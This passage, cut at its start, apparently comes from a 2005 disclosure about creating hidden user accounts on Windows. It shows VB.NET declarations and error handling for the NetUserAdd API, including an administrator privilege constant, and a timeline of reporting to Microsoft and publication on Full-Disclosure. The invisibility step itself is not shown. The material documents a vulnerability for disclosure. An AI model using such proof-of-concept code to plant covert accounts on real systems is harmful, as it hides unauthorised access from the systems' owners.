Windows上的隐身用户
Case NativeWin32.Errors.NERR_GroupExists
Console.WriteLine("NERR_GroupExists")
Case NativeWin32.Errors.NERR_InvalidComputer
Console.WriteLine("NERR_InvalidComputer")
Case NativeWin32.Errors.NERR_PasswordTooShort
Console.WriteLine("NERR_PasswordTooShort")
Case NativeWin32.Errors.NERR_UserExists
Console.WriteLine("NERR_UserExists")
Case Else
Console.WriteLine("Error: {0:n}", retval)
End Select
End Sub
Public Class NativeWin32
Public Class NetApi32
Public Const USER_PRIV_MASK As UInt32 = &H3
Public Const USER_PRIV_GUEST As UInt32 = 0
Public Const USER_PRIV_USER As UInt32 = 1
Public Const USER_PRIV_ADMIN As UInt32 = 2
Public Const UF_SCRIPT As UInt32 = &H1
Public Const UF_ACCOUNTDISABLE As UInt32 = &H2
Public Const UF_HOMEDIR_REQUIRED As UInt32 = &H8
Public Const UF_LOCKOUT As UInt32 = &H10
Public Const UF_PASSWD_NOTREQD As UInt32 = &H20
Public Const UF_PASSWD_CANT_CHANGE As UInt32 = &H40
Public Const UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED As UInt32 = &H80 <StructLayout(LayoutKind.Sequential, _
CharSet:=CharSet.Auto)> _
Public Structure USER_INFO_1
<MarshalAs(UnmanagedType.LPWStr)> _
Dim usri1_name As LPWSTR
<MarshalAs(UnmanagedType.LPWStr)> _
Dim usri1_password As LPWSTR
Dim usri1_password_age As DWORD
Dim usri1_priv As DWORD
<MarshalAs(UnmanagedType.LPWStr)> _
Dim usri1_home_dir As LPWSTR
<MarshalAs(UnmanagedType.LPWStr)> _
Dim usri1_comment As LPWSTR
Dim usri1_flags As DWORD
<MarshalAs(UnmanagedType.LPWStr)> _
Dim usri1_script_path As LPWSTR
End Structure
<DllImport("Netapi32.dll", _
CallingConvention:=CallingConvention.Winapi, _
CharSet:=CharSet.Auto, _SetLastError:=True)> _
Public Shared Function NetUserAdd( _
<[In]()> ByVal servername As LMSTR, _
<[In]()> ByVal level As DWORD, _
<[In]()> ByRef buf As USER_INFO_1, _
<Out()> ByRef parm_err As DWORD _
) As NET_API_STATUS
End Function
End Class
Public Class Errors
''selected error constants
Public Const NERR_Success As UInt32 = 0
Public Const ERROR_ACCESS_DENIED As UInt32 = 5
Public Const NERR_BASE As UInt32 = 2100
Public Const NERR_InvalidComputer As UInt32 = (NERR_BASE + 251)
Public Const NERR_PasswordTooShort As UInt32 = (NERR_BASE + 145)
Public Const NERR_UserExists As UInt32 = (NERR_BASE + 124)
Public Const NERR_GroupExists As UInt32 = (NERR_BASE + 123)
End Class
End Class
End Module
Timeline
Security Issue Discovered Late June 2005
Microsoft Security Response Center Notified July 28, 2005
Microsoft SRC Response (Case Number 6111) July 28, 2005
Published on NewOrder.box.sk July 31, 2005
Published on Full-Disclosure August 3, 2005